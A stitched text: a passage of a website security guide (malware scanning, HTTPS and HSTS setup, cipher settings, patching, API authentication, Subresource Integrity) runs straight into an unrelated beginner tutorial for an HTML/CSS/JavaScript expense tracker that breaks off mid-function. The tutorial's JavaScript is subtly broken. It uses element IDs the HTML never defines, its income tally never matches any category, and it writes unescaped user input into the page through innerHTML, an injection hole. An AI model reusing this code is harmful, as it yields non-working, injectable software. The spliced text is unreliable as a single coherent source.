2. Keep all software, plugins, and platforms up to date

Outdated CMS platforms, plugins, and server-side scripts are some of the most common vulnerabilities exploited by malware. Hackers actively scan for known security flaws in older versions of software.

To stay ahead, enable automatic updates whenever possible, or establish a consistent patching schedule (weekly or monthly) to check and apply updates across your stack. Don’t overlook minor version updates as they often contain critical security fixes.

3. Scan and restrict user-uploaded files

If your site allows user uploads, like pictures or attachments, scan every file for malware while enforcing file types.

Enforce strict upload rules: limit file types to only what’s necessary (for example, .jpg, .png, .pdf), apply maximum file size limits, and run malware scans on each file before it’s processed or stored. Use server-side validation and sandboxing to inspect uploads without risking your core infrastructure.

4. Run regular malware and domain blacklist scans

Proactively scan your website for malware using security tools like Sucuri, VirusTotal, or your hosting provider’s built-in scanners. These tools help detect suspicious code, hidden iframes, malicious redirects, or trojan injections.

You can also use a domain blacklist checker to ensure your website hasn’t been flagged by Google Safe Browsing, Norton Safe Web, or other security databases. Being blacklisted can prevent your emails from reaching inboxes and may trigger browser security warnings for visitors.

5. Limit admin access and use secure file permissions

Malware infections often stem from weak admin access policies. Limit the number of users who have backend access, especially to high-privilege areas.

Use unique, strong passwords and multi-factor authentication for all admin accounts. On the server side, set strict file permissions (for example, 644 for files and 755 for directories) to prevent unauthorized modifications. Avoid giving full write access unless absolutely necessary.

5. Man-in-the-Middle Attacks and Public Connections

Man-in-the-Middle (MitM) attacks intercept data between a user and a website – especially over unsecured or public networks like Wi-Fi in a coffee shop.

Whenever you send or receive data, there’s always a chance someone is actively listening. After ordering their latte, a customer logs into their account on public Wi-Fi. Meanwhile, a hacker's "packet sniffer" captures the session's cookies, hijacking their account.

Packet sniffing is a technique where attackers use software tools to monitor and capture data packets transmitted over a network. On unsecured Wi-Fi and without encryption, these tools can pick up login details, messages, or even credit card numbers.

How to Secure Personal Data Connections

A combination of education and SSL certificates cut out "middle man" hacks and attacks. Here are ways to enforce these protections:

1. Use HTTPS to encrypt all browser-server communications

HTTPS ensures that data transferred between a user's browser and your website is encrypted, preventing attackers from intercepting login credentials, form submissions, or payment details.

To implement this, install an SSL/TLS certificate on your site. Most hosting providers now offer free SSL certificates through services like Let’s Encrypt, and many platforms make installation simple.

Here’s how to install an SSL certificate using Let’s Encrypt on a server running Nginx:

# Step 1: Install Certbot
sudo apt update
sudo apt install certbot python3-certbot-nginx

# Step 2: Run Certbot to get and install your certificate
sudo certbot --nginx

# Certbot will prompt you to choose your domain and configure HTTPS automatically

If you're using a managed hosting provider like Bluehost, SiteGround, or Shopify, you can typically enable HTTPS with just a few clicks in your dashboard. That means no code or terminal commands required.

2. Redirect all HTTP traffic to HTTPS automatically

Having an SSL certificate isn’t enough if users can still access your site through unsecured HTTP. Set up automatic redirection rules (via .htaccess or server settings) to ensure that every visit is routed through HTTPS.

Here’s how to set up HTTPS redirection using .htaccess on an Apache server:

RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

But most modern hosting platforms (like Netlify, Vercel, or Cloudflare) allow you to enable this redirect with a toggle in the dashboard—no manual config needed.

This step ensures that no part of your site can be accessed insecurely, closing the door on potential Man-in-the-Middle attacks that rely on intercepting data from unencrypted connections.

3. Educate users on risks and promote safe browsing habits

Even if your website is secure, users accessing it through public or unsecured networks (like airport or coffee shop Wi-Fi) are still vulnerable. Encourage users to use VPN tools and protective software to "tunnel" their data directly when using websites on public networks.

A VPN creates a private, encrypted tunnel for their internet activity, adding another layer of protection between them and potential attackers. You can include this advice in help center articles, login pages, or during onboarding for security-conscious services.

4. Implement HTTP Strict Transport Security (HSTS).

HSTS is a response header that tells browsers to always connect via HTTPS – even if a user manually types “http://”. This eliminates the risk of SSL stripping attacks, where hackers downgrade secure HTTPS connections to insecure HTTP to intercept data. Configuring HSTS ensures long-term enforcement of secure access and further hardens your website’s security posture.

To enable HSTS, add this response header to your server configuration or .htaccess file:

Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"

• max-age=63072000 sets the policy to last for two years (in seconds).

• includeSubDomains applies HSTS to all subdomains.

• preload allows your domain to be included in browser preload lists for even stronger protection (requires submission to hstspreload.org).

HSTS adds another layer of insurance. Once a browser sees this header, it refuses to connect to your site via HTTP ever again

5. Disable outdated or vulnerable protocols and ciphers

As SSL/TLS standards evolve, older versions (like SSL 2.0 or TLS 1.0) are no longer secure and should be disabled on your server. Instead, enforce the use of TLS 1.2 or higher.

Also, configure your server to only support strong cipher suites and disable weak ones to prevent downgrade and decryption attacks.

Example for NGINX:

ssl_protocols TLSv1.2 TLSv1.3;

ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:
             ECDHE-RSA-AES256-GCM-SHA384:
             ECDHE-ECDSA-CHACHA20-POLY1305:
             ECDHE-RSA-CHACHA20-POLY1305:
             ECDHE-ECDSA-AES128-GCM-SHA256:
             ECDHE-RSA-AES128-GCM-SHA256';

ssl_prefer_server_ciphers on;

This setup forces modern, secure encryption while disabling old, vulnerable algorithms. After applying these settings, restart your server to enforce them.

Once your cipher suite configuration is in place, it's a good idea to test it and regularly audit your server’s SSL configuration using tools like SSL Labs to verify that your server supports only secure protocols and ciphers, and to ensure cybersecurity compliance with current best practices.

6. Outdated Software and Old Plugins

Outdated code is the hacker's favorite security feature. Poor maintenance not only threatens data but also damages SaaS retention. When users don’t feel safe, even the best user analytical tools can’t fix churn. Major CMS platforms (like WordPress and SquareSpace) use themes, plugins, and third-party software requiring almost constant updating.

Unknowingly, each of these could smuggle in weaknesses for data thievery. When updates are released, they often intend to fix security issues, pesky bugs, and freshly discovered vulnerabilities.

How to Patch and Update Website Security

Public information – like official software notes about new security patches and resolved bugs – can then act as a flaw menu for attacking apps yet to update. Every user with out-of-date access poses a threat to the system. Don't let these be issues your developers have already "designed away."

1. Schedule regular patching cycles for your site, apps, and services

A site, app, or service should set weekly or monthly times to check version numbers and push patch updates. You should assign responsibility to a specific team member or set up alerts to stay on top of newly released patches from software vendors.

By failing to apply updates promptly, you're leaving your systems exposed to risks that are already documented and potentially being exploited.

2. Allow auto-updates wherever safe and possible

Most CMS platforms for publishing sites include the option for installing automatic updates to core files and plugins.

Enabling this can dramatically reduce your site's vulnerability window, especially for minor updates and security patches. While some major updates may still require testing before implementation, enabling automatic updates for critical security releases ensures your site isn't left behind while you wait for manual intervention.

3. Audit and remove unused software, plugins, and themes

The most dangerous security flaws are the forgotten ones, so remove unused themes or plugins before they can be exploited.

Make it a habit to run regular audits of your system, remove anything you’re not actively using, and replace poorly maintained tools with better-supported alternatives. Even dormant or inactive themes can contain vulnerable code that can be exploited if not cleaned out.

7. APIs, Integrations, and Third-Party Attacks

The vast majority of websites depend on API connections and third-party scripts to monitor analytics to process payments. Every connection – no matter how slight – should come with a warning.

Like late-to-update users, attackers also exploit APIs to bypass authentication, use third-party tools to extract data, and infect partner sites with malware. Your own code may be watertight, flawless, and impenetrable – but insecure APIs and third-party tools share their every weakness.

Consider a supply chain attack. A JavaScript library embedded on thousands of sites is wrapped up with multiple malware scripts. The sites who rely on the library become new territory for attack, draining user data from hundreds of sites that rely on that library.

How to Secure Integrations and APIs

1. Require strong authentication for all API and integration requests

A third-party app, plugin, or external script, and every other connection to your system should prove its identity before accessing your data or services.

This is typically done using secure methods like API keys, OAuth tokens, or client certificates.

• API keys: These are unique tokens generated by your system and issued to approved clients. Clients include the key in their request headers (e.g., Authorization: Bearer YOUR_API_KEY), and your backend checks the key's validity before processing the request. While simple to implement, API keys should be rotated regularly and kept confidential.

• OAuth tokens: OAuth is ideal when users need to grant limited access to their data without sharing credentials. Your system acts as an authorization server and issues temporary access tokens. Clients send these tokens with requests, and your API validates them. OAuth also supports scopes and expirations, giving you fine-grained access control.

• Client certificates: For higher security (especially between servers), use mutual TLS (mTLS). In this setup, both the client and server authenticate each other using X.509 certificates. It adds a strong layer of trust by validating identities through cryptographic means (especially useful in banking or enterprise integrations).

By enforcing authentication, you ensure that only authorized systems can make requests, greatly reducing the risk of unauthorized access or data leaks. Rotate these keys regularly and monitor their usage to detect suspicious behavior early.

2. Sanitize and validate all incoming data, even from trusted third parties

It's a mistake to assume that data from integrated partners or services is automatically safe. Every piece of data you receive, be it a payment gateway, analytics tool, or marketing app, should be treated as potentially unsafe until verified.

Apply the same input validation rules you use for end-user data: check formats, restrict values, and escape inputs before they interact with your system. This protects you from injection attacks, corrupted data, and API misuse.

To make this more concrete, here’s a simple example of how you might validate incoming data with JavaScript from a marketing app or third-party integration:

function validateIncomingData(data) {
  const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
  const phonePattern = /^\+\d{1,3}\d{7,14}$/; // E.164 international format

  if (!emailPattern.test(data.email)) {
    throw new Error("Invalid email address");
  }

  if (!phonePattern.test(data.phone)) {
    throw new Error("Invalid phone number format");
  }

  if (typeof data.campaignId !== 'string' || data.campaignId.trim() === '') {
    throw new Error("Missing or invalid campaign ID");
  }
  return true;
}

This snippet validates a properly formatted email address, a phone number in international format, and a non-empty campaign ID to ensure tracking consistency. By validating input like this before it’s processed or stored, you reduce the risk of injection attacks, data corruption, or accidental misuse from faulty third-party integrations

3. Use Subresource Integrity (SRI) to verify third-party resources

When integrating third-party scripts (like CDNs for fonts, analytics trackers, or payment tools), use SRI tags to ensure the code hasn’t been tampered with.

SRI allows you to define a cryptographic hash for each file, and the browser will block any file that doesn’t match the expected fingerprint. This prevents malicious actors from swapping out legitimate scripts with compromised ones – and it adds a critical layer of trust and security to your frontend architecture.

Here’s how to use it:

<script src="https://cdn.example.com/library.js"
        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GhOaAbfDQ4b9PrZqKmWqlL8Amoy0WyyF8JCE4"
        crossorigin="anonymous"></script>

• integrity: This is the SRI hash (typically SHA-256, SHA-384, or SHA-512) of the file contents.

• crossorigin: Required if the resource is hosted on a different domain. Use anonymous unless the resource requires credentials.

You can generate the SRI hash using tools like SRI Hash Generator or command-line tools like openssl.

4. Limit third-party access to only the data and functions they need

Just because a third-party service needs access to your data doesn't mean it should have full visibility into your systems. Apply the principle of least privilege by configuring integrations with narrow scopes – limiting permissions to only the endpoints or datasets necessary for their function.

For example, an email marketing tool doesn’t need access to billing data, and a CRM shouldn’t touch your backend server settings.

5. Monitor and log all third-party activity

Visibility is key to detecting abuse or performance issues. Ensure that all API requests and third-party interactions are logged, including timestamps, endpoints accessed, IP addresses, and payloads.

Use this data to detect unusual patterns (like a spike in failed requests) and respond quickly to potential breaches. Some platforms also offer rate limiting to restrict excessive or suspicious activity.

Let’s say you notice a spike in 401 (Unauthorized) responses from a specific IP over a short period. Your logs show repeated attempts to access a payment processing API without valid credentials.

{
  "timestamp": "2025-05-26T14:32:10Z",
  "endpoint": "/api/v1/payments",
  "method": "POST",
  "ip": "192.0.2.45",
  "response_code": 401
}

What you’d do with this data:

• Temporarily block the IP or trigger a CAPTCHA challenge.

• Alert the security team or log the incident for further investigation.

• Set up a rule to flag similar behavior in the future.

• Consider enforcing stricter authentication or rotating API keys.

Pro tip: Use monitoring tools (like Datadog, New Relic, or ELK Stack) with alerting capabilities so you’re notified automatically when something suspicious happens before it escalates.

6. Regularly audit integrations for outdated or unused connections

Over time, your stack may accumulate unused APIs, abandoned integrations, or forgotten developer keys. These can become security liabilities if left unchecked. Periodically review all third-party connections and remove anything that’s no longer active or necessary.

For the services you do keep, confirm they’re still being maintained, updated, and follow modern security standards.

Where the Dark Web Dumps Your Data

When hackers successfully breach a website’s database, the fallout goes far and wide past the single company or specific set of information.This threat extends to e-commerce platforms, which often collect customer data. That’s why following a solid e-commerce security checklist is essential to protect sensitive information and maintain customer trust.

Data breaches expose usernames, passwords, payment details, home addresses, birthdates, and every form of personal data you can imagine. Once stolen, this data often doesn’t just sit on the shelf: it flies out from the dark web, the underbelly of the internet where your details are sold, traded, and shared among cybercriminals.

From here, public perceptions rage against brand values – and every customer’s anxiety about getting identity theft insurance starts to amplify. A reused password could become the key to Netflix, and it will do greater damage when it unlocks your Discover card, Morgan-Chase, and Coinbase accounts.

Every personal detail can help fuel identity theft, sharpen phishing attacks, and lead to system takeover. As organizations, sites face lawsuits, huge fines, and public scorn.

From one site’s database, hackers can sack thousands of emails, passwords, card numbers, phone numbers, addresses, images, documents, and more. This stolen data can get a pretty price when sold as a dark web data dump.

Defend Your Data

No system or sign-in page is bulletproof, and cybersecurity is never done. Hackers use everything from phishing emails to malicious scripts to steal data, but every tactic has a defense.

The best start is following best practices – like quick updates, HTTPS-only, and sanitized forms. Every row of data stored can suddenly evolve into a complex, rampant threat to users.

We should all aim to save only the most necessary data, locking up our card numbers, passwords, and usernames with strong, “slow-hash” encryption.

Preventing damage to our business and ourselves means committing to careful online practices while we await the latest developer’s patch toward safer online pastures.

If you often find yourself wondering where all your money went or how you managed to spend so much, then this project is for you. I created a simple expense tracker to help manage my own finances, and I decided to share a step-by-step tutorial with the developer community.

In this tutorial, we'll walk through the process of building a basic expense tracker from scratch. Whether you're new to web development or looking to enhance your skills, this project will provide you with practical experience in HTML, CSS, and JavaScript.

By the end, you'll have a fully functional tool to track your income, manage expenses, and maintain a clear overview of your finances within a sleek and user-friendly interface.

We'll start by setting up the structure of the tracker, move on to styling it to make it visually appealing, and finally, we'll implement the functionality that will bring it to life.

Table of Contents

1. Setting Up the HTML Structure

2. Styling the Expense Tracker with CSS

3. Implementing Functionality with JavaScript

4. Enhancing the User Experience

5. Testing and Debugging

6. Conclusion

Prerequisites

To get the most out of this tutorial, having a basic understanding of HTML, CSS, and JavaScript will be beneficial. Familiarity with creating simple web pages and handling basic DOM manipulation in JavaScript will help you follow along more easily.

But if you're new to these technologies, don't worry – I'll guide you through each step with detailed explanations.

Setting Up the HTML Structure

First of all, we need to set up the basic HTML structure. This will serve as the foundation for everything else we'll build. Don’t worry if you’re new to HTML. I'll guide you through each step.

1. Create a Basic HTML Template

Start by creating a new file and naming it index.html. This file will hold the structure of our expense tracker. Every HTML file starts with a basic template, which includes the <!DOCTYPE html> declaration, the <html> tag, and the head and body sections.

Here’s what your initial HTML template should look like:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Expense Tracker</title>
</head>
<body>

</body>
</html>

2. Adding a Container

Inside the <body> tag, let’s start by adding a div element with a class of container. This container will hold all the content of our expense tracker, such as the title, input fields, and summary. We use a container to center everything on the page and make sure our layout looks neat.

Here’s how you can do it:

<body>
    <div class="container">
        <!-- All content will go here -->
    </div>
</body>

3. Add the Expense Tracker Title

Now, let’s add a title to our expense tracker. We’ll use the <h1> tag for this, which is typically used for the main heading on a webpage.

Add the following code inside the container div:

<h1>Expense Tracker</h1>

This heading will display prominently at the top of your page, letting users know what the application is about.

4. Setting Up Sections for Income and Expenses

Next, we'll add sections for income and expenses. These sections will include input fields where users can enter their income and expense details.

Start by adding two div elements, each with a class of section. One section will be for income, and the other for expenses. Here’s the code:

<div class="section">
    <h2>Income</h2>
    <!-- Income input fields will go here -->
</div>

<div class="section">
    <h2>Expenses</h2>
    <!-- Expense input fields will go here -->
</div>

The <h2> tags inside these sections serve as subheadings to label each section. We’ll add input fields in the next step.

5. Adding Input Fields

Now, let’s add input fields for the income section. Users will need to enter a description (for example, “Salary”) and an amount. Each input field will be wrapped in a div with a class of input-group for easy styling later.

While this example uses Nigerian Naira (₦) for the currency, you can easily adapt it to any currency you prefer. Simply replace the currency symbol in the placeholder or any labels to match your needs.

Here’s how you can add the input fields:

<div class="input-group">
    <label for="income-description">Description</label>
    <input type="text" id="income-description" placeholder="e.g. Salary">
</div>
<div class="input-group">
    <label for="income-amount">Amount (₦)</label>
    <input type="number" id="income-amount" placeholder="e.g. 100000">
</div>

Do the same for the expenses section, but this time, we’ll also add a dropdown for the category of the expense:

<div class="input-group">
    <label for="expense-description">Description</label>
    <input type="text" id="expense-description" placeholder="e.g. Rent">
</div>
<div class="input-group">
    <label for="expense-category">Category</label>
    <select id="expense-category">
        <option value="Housing">Housing</option>
        <option value="Food">Food</option>
        <option value="Transportation">Transportation</option>
        <option value="Entertainment">Entertainment</option>
        <option value="Others">Others</option>
    </select>
</div>
<div class="input-group">
    <label for="expense-amount">Amount (₦)</label>
    <input type="number" id="expense-amount" placeholder="e.g. 50000">
</div>

6. Add a Button to Each Section

Finally, we need a button in each section that users will click to add their income or expense to the tracker. Place a button element inside each section like this:

<div class="button-group">
    <button onclick="addIncome()">Add Income</button>
</div>

And for the expenses section:

<div class="button-group">
    <button onclick="addExpense()">Add Expense</button>
</div>

7. Displaying the Transaction History

After the income and expenses sections, we need a place to display the transaction history. We’ll use a table for this, as it’s a clean and organized way to present data.

Add the following code after the expenses section:

<div class="table-container">
    <h2>Transaction History</h2>
    <table>
        <thead>
            <tr>
                <th>Description</th>
                <th>Category</th>
                <th>Amount (₦)</th>
                <th>Type</th>
                <th>Action</th> <!-- Column for delete button -->
            </tr>
        </thead>
        <tbody id="transaction-history">
            <!-- Transactions will appear here -->
        </tbody>
    </table>
</div>

8. Adding a Summary Section

At the bottom of the container, let’s add a summary section that shows the total income, total expenses, and the balance.

Here’s the code for the summary:

<div class="summary">
    <h2>Budget Summary</h2>
    <p>Total Income: ₦<span id="total-income">0</span></p>
    <p>Total Expenses: ₦<span id="total-expenses">0</span></p>
    <p>Balance: ₦<span id="balance">0</span></p>
</div>

9. Adding a Clear All Button

Lastly, include a button that will allow users to clear all the data in one click. This is particularly useful if they want to reset everything.

Here’s how to add the clear button:

<div class="clear-button-group">
    <button onclick="clearAll()">Clear All</button>
</div>

10. Putting It All Together

When you put all the pieces together, your HTML structure should look like this:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Creative Budget Planner</title>
</head>
<body>
    <div class="container">
        <h1>Expense Tracker</h1>
        <div class="section">
            <h2>Income</h2>
            <div class="input-group">
                <label for="income-description">Description</label>
                <input type="text" id="income-description" placeholder="e.g. Salary">
            </div>
            <div class="input-group">
                <label for="income-amount">Amount (₦)</label>
                <input type="number" id="income-amount" placeholder="e.g. 100000">
            </div>
            <div class="button-group">
                <button onclick="addIncome()">Add Income</button>
            </div>
        </div>
        <div class="section">
            <h2>Expenses</h2>
            <div class="input-group">
                <label for="expense-description">Description</label>
                <input type="text" id="expense-description" placeholder="e.g. Rent">
            </div>
            <div class="input-group">
                <label for="expense-category">Category</label>
                <select id="expense-category">
                    <option value="Housing">Housing</option>
                    <option value="Food">Food</option>
                    <option value="Transportation">Transportation</option>
                    <option value="Entertainment">Entertainment</option>
                    <option value="Others">Others</option>
                </select>
            </div>
            <div class="input-group">
                <label for="expense-amount">Amount (₦)</label>
                <input type="number" id="expense-amount" placeholder="e.g. 50000">
            </div>
            <div class="button-group">
                <button onclick="addExpense()">Add Expense</button>
            </div>
        </div>
        <div class="table-container">
            <h2>Transaction History</h2>
            <table>
                <thead>
                    <tr>
                        <th>Description</th>
                        <th>Category</th>
                        <th>Amount (₦)</th>
                        <th>Type</th>
                        <th>Action</th>
                    </tr>
                </thead>
                <tbody id="transaction-history">
                    <!-- Transactions will appear here -->
                </tbody>
            </table>
        </div>
        <div class="summary">
    <h2>Budget Summary</h2>
    <p>Total Income: ₦<span id="total-income">0</span></p>
    <p>Total Expenses: ₦<span id="total-expenses">0</span></p>
    <p>Balance: ₦<span id="balance">0</span></p>
</div>
<div class="clear-button-group">
    <button onclick="clearAll()">Clear All</button>
</div>

Styling the Expense Tracker with CSS

Now that we have our HTML structure in place, it’s time to make our expense tracker visually appealing by adding some CSS. We’ll start with basic styling and then move on to more specific details to ensure everything looks neat and user-friendly.

1. Setting Up the CSS File

First, create a new file named styles.css in the same directory as your index.html file. Link this CSS file to your HTML by adding the following line inside the <head> section of index.html:

<link rel="stylesheet" href="styles.css">

This line tells your HTML file to use the styles defined in styles.css.

2. Styling the Body

Let’s start by adding some basic styles to the <body> to set a nice background color, font, and layout. Open styles.css and add the following code:

body {
    font-family: Arial, sans-serif;
    background-color: #f4f4f4;
    margin: 0;
    padding: 0;
    display: flex;
    justify-content: center;
    align-items: center;
    height: 100vh;
}

• font-family: We’re using a simple and clean font.

• background-color: A light grey background will give our tracker a soft look.

• display, justify-content, align-items, height: These properties center the content vertically and horizontally.

3. Styling the Container

Next, we’ll style the .container to give it a clean, organized look:

.container {
    background-color: white;
    padding: 20px;
    border-radius: 10px;
    box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
    max-width: 600px;
    width: 100%;
}

• background-color: White makes the content stand out against the grey background.

• padding: Adds space inside the container so the content isn’t touching the edges.

• border-radius: Rounds the corners for a modern look.

• box-shadow: Adds a subtle shadow to lift the container off the page slightly.

• max-width and width: Ensures the container is responsive and doesn’t exceed a certain width.

4. Styling the Headings

Let’s style the headings to make them more visually distinct:

h1, h2 {
    color: #333;
    text-align: center;
}

h1 {
    margin-bottom: 20px;
}

h2 {
    margin-bottom: 15px;
}

• color: A dark grey color for the text will keep it readable.

• text-align: Centers the headings to create a balanced layout.

• margin-bottom: Adds space below the headings.

5. Styling the Input Groups

Now, let’s style the input fields and labels within the .input-group class:

.input-group {
    margin-bottom: 15px;
}

.input-group label {
    display: block;
    margin-bottom: 5px;
    color: #555;
}

.input-group input,
.input-group select {
    width: calc(100% - 10px);
    padding: 10px;
    border: 1px solid #ddd;
    border-radius: 5px;
    box-sizing: border-box;
    font-size: 16px;
}

• margin-bottom: Adds space between input groups.

• display: block: Ensures the labels take up the full width.

• width: Makes the input fields and select elements responsive.

• padding, border, border-radius: Creates a more polished look for the inputs.

• box-sizing: Ensures padding is included in the element’s total width.

6. Styling the Buttons

Let’s give the buttons a more interactive and appealing look:

.button-group button,
.clear-button-group button {
    background-color: #FF69B4;
    color: white;
    border: none;
    padding: 10px 20px;
    border-radius: 5px;
    cursor: pointer;
    font-size: 16px;
}

.button-group button:hover,
.clear-button-group button:hover {
    background-color: #FF1493;
}

• background-color: A vibrant pink for the buttons to make them stand out.

• color: White text for contrast against the pink background.

• border, padding, border-radius: No border, ample padding, and rounded corners for a modern look.

• cursor: Changes the cursor to a pointer on hover, indicating the button is clickable.

• hover: Darkens the button color when hovered for a subtle interaction effect.

7. Styling the Transaction History Table

We’ll also style the transaction history table to ensure it’s easy to read and visually consistent with the rest of the tracker:

.table-container {
    margin-top: 20px;
}

table {
    width: 100%;
    border-collapse: collapse;
    margin-bottom: 20px;
}

th, td {
    text-align: left;
    padding: 10px;
    border-bottom: 1px solid #ddd;
}

th {
    background-color: #FF69B4;
    color: white;
}

td {
    color: #333;
}

td button {
    background-color: #FF1493;
    color: white;
    border: none;
    padding: 5px 10px;
    border-radius: 3px;
    cursor: pointer;
}

td button:hover {
    background-color: #C71585;
}

• border-collapse: Ensures there’s no gap between table borders.

• padding, border-bottom: Adds padding inside table cells and a border under each row for separation.

• background-color for th: Matches the buttons for a cohesive design.

• td button: Adds a delete button inside table cells, styled similarly to the other buttons.

8. Styling the Summary Section

Finally, let’s style the summary section to make it stand out:

.summary {
    background-color: #FFB3FF;
    padding: 15px;
    border-radius: 10px;
    text-align: center;
    color: #333;
}

.summary p {
    margin: 10px 0;
    font-size: 18px;
}

.summary span {
    font-weight: bold;
}

• background-color: A soft pink background helps distinguish the summary from the rest of the content.

• padding, border-radius: Adds spacing and rounded corners.

• text-align: Centers the text within the summary.

• font-size, font-weight: Increases the font size and weight to make the totals and balance more prominent.

9. Putting It All Together

Here’s how your styles.css file should look with all the styles combined:

body {
    font-family: Arial, sans-serif;
    background-color: #f4f4f4;
    margin: 0;
    padding: 0;
    display: flex;
    justify-content: center;
    align-items: center;
    height: 100vh;
}

.container {
    background-color: white;
    padding: 20px;
    border-radius: 10px;
    box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
    max-width: 600px;
    width: 100%;
}

h1, h2 {
    color: #333;
    text-align: center;
}

h1 {
    margin-bottom: 20px;
}

h2 {
    margin-bottom: 15px;
}

.input-group {
    margin-bottom: 15px;
}

.input-group label {
    display: block;
    margin-bottom: 5px;
    color: #555;
}

.input-group input,
.input-group select {
    width: calc(100% - 10px);
    padding: 10px;
    border: 1px solid #ddd;
    border-radius: 5px;
    box-sizing: border-box;
    font-size: 16px;
}

.button-group button,
.clear-button-group button {
    background-color: #FF69B4;
    color: white;
    border: none;
    padding: 10px 20px;
    border-radius: 5px;
    cursor: pointer;
    font-size: 16px;
}

.button-group button:hover,
.clear-button-group button:hover {
    background-color: #FF1493;
}

.table-container {
    margin-top: 20px;
}

table {
    width: 100%;
    border-collapse: collapse;
    margin-bottom: 20px;
}

th, td {
    text-align: left;
    padding: 10px;
    border-bottom: 1px solid #ddd;
}

th {
    background-color: #FF69B4;
    color: white;
}

td {
    color: #333;
}

td button {
    background-color: #FF1493;
    color: white;
    border: none;
    padding: 5px 10px;
    border-radius: 3px;
    cursor: pointer;
}

td button:hover {
    background-color: #C71585;
}

.summary {
    background-color: #FFB3FF;
    padding: 15px;
    border-radius: 10px;
    text-align: center;
    color: #333;
}

.summary p {
    margin: 10px 0;
    font-size: 18px;
}

.summary span {
    font-weight: bold;
}

With this CSS, your expense tracker should now look clean, modern, and easy to use. You can always tweak the colors, fonts, or layout to better suit your style or branding.

How to Implement Functionality with JavaScript

Now that we have our HTML structure and CSS styling in place, it’s time to bring our expense tracker to life using JavaScript. We’ll add functionality so users can add expenses, view a summary, and remove items from the list.

1. Setting Up the JavaScript File

First, create a new file named script.js in the same directory as your index.html file. Link this JavaScript file to your HTML by adding the following line just before the closing </body> tag in index.html:

<script src="script.js"></script>

This line tells your HTML file to execute the JavaScript code from script.js.

2. Defining Variables

Let’s start by defining some variables to reference key elements in our HTML. Open script.js and add the following code:

const expenseForm = document.getElementById('expense-form');
const expenseInput = document.getElementById('expense-input');
const amountInput = document.getElementById('amount-input');
const categoryInput = document.getElementById('category-input');
const transactionList = document.getElementById('transaction-list');
const totalExpense = document.getElementById('total-expense');
const totalIncome = document.getElementById('total-income');
const balance = document.getElementById('balance');

Here’s what each variable does:

• expenseForm: References the form where users enter new expenses.

• expenseInput: References the input field for the expense description.

• amountInput: References the input field for the expense amount.

• categoryInput: References the dropdown for selecting the expense category.

• transactionList: References the table where we’ll display the transactions.

• totalExpense, totalIncome, balance: Reference the elements showing the summary of expenses, income, and balance.

3. Adding an Expense

Next, let’s create a function that handles the addition of a new expense when the form is submitted:

expenseForm.addEventListener('submit', function(event) {
    event.preventDefault();

    const description = expenseInput.value.trim();
    const amount = parseFloat(amountInput.value.trim());
    const category = categoryInput.value;

    if (description === '' || isNaN(amount) || amount <= 0) {
        alert('Please enter a valid expense description and amount.');
        return;
    }

    addTransaction(description, amount, category);
    updateSummary();
    clearInputs();
});

function addTransaction(description, amount, category) {
    const transactionRow = document.createElement('tr');

    transactionRow.innerHTML = `
        <td>${description}</td>
        <td>${category}</td>
        <td>${amount.toFixed(2)}</td>
        <td><button class="delete-btn">Delete</button></td>
    `;

    transactionList.appendChild(transactionRow);

    transactionRow.querySelector('.delete-btn').addEventListener('click', function() {
        transactionRow.remove();
        updateSummary();
    });
}

Here’s what’s happening in this code:

• event.preventDefault(): Prevents the form from refreshing the page when submitted.

• addTransaction: Adds a new transaction to the table.

• updateSummary: Updates the total expenses, income, and balance.

• clearInputs: Clears the form inputs after the transaction is added.

• delete button: Allows users to remove a transaction from the list.

4. Updating the Summary

To keep track of the total expenses, income, and balance, we’ll create an updateSummary function:

function updateSummary() {
    let totalExpenses = 0;
    let totalIncomes = 0;

    const transactions = transactionList.querySelectorAll('tr');

    transactions.forEach(function(transaction) {
        const amount = parseFloat(transaction.children[2].textContent);
        const category = transaction.children[1].textContent;

        if (category === 'Income') {
            totalIncomes += amount;
        } else {
            totalExpenses += amount;
        }
    });

    totalExpense.textContent = totalExpenses.toFixed(2);
    totalIncome.textContent = totalIncomes.toFixed(2);
    balance.textContent = (totalIncomes - totalExpenses).toFixed(2);
}

This function loops through each transaction in the table:

• totalExpenses and totalIncomes: Calculated by summing the amounts in each category.

• totalExpense, totalIncome, balance: Updated with the calculated values.

5. Clearing Form Inputs

To reset the form after adding a transaction, we’ll create a clearInputs function:

function clearInputs() {
    expenseInput.value = '';
    amountInput.value = '';
    categoryInput.value = 'Expense';
}

This function simply clears the values of the form inputs.

6. Putting It All Together

Here’s what your script.js file should look like with all the code combined:

const expenseForm = document.getElementById('expense-form');
const expenseInput = document.getElementById('expense-input');
const amountInput = document.getElementById('amount-input');
const categoryInput = document.getElementById('category-input');
const transactionList = document.getElementById('transaction-list');
const totalExpense = document.getElementById('total-expense');
const totalIncome = document.getElementById('total-income');
const balance = document.getElementById('balance');

expenseForm.addEventListener('submit', function(event) {
    event.preventDefault();

    const description = expenseInput.value.trim();
    const amount = parseFloat(amountInput.value.trim());
    const category = categoryInput.value;

    if (description === '' || isNaN(amount) || amount <= 0) {
        alert('Please enter a valid expense description and amount.');
        return;
    }

    addTransaction(description, amount, category);
    updateSummary();
    clearInputs();
});

function addTransaction(description, amount, category) {
    const transactionRow = document.createElement('tr');

    transactionRow.innerHTML = `
        <td>${description}</td>
        <td>${category}</td>
        <td>${amount.toFixed(2)}</td>
        <td><button class="delete-btn">Delete</button></td>
    `;

    transactionList.appendChild(transactionRow);

    transactionRow.querySelector('.delete-btn').addEventListener('click', function() {
        transactionRow.remove();
        updateSummary();
    });
}

function updateSummary() {
    let totalExpenses = 0;
    let totalIncomes = 0;

    const transactions = transactionList.querySelectorAll('tr');

    transactions.forEach(function(transaction) {
        const amount = parseFloat(transaction.children[2].textContent);
        const category = transaction.children[1].textContent;

        if (category === 'Income') {
            totalIncomes += amount;
        } else {
            totalExpenses += amount;
        }
    });

    totalExpense.textContent = totalExpenses.toFixed(2);
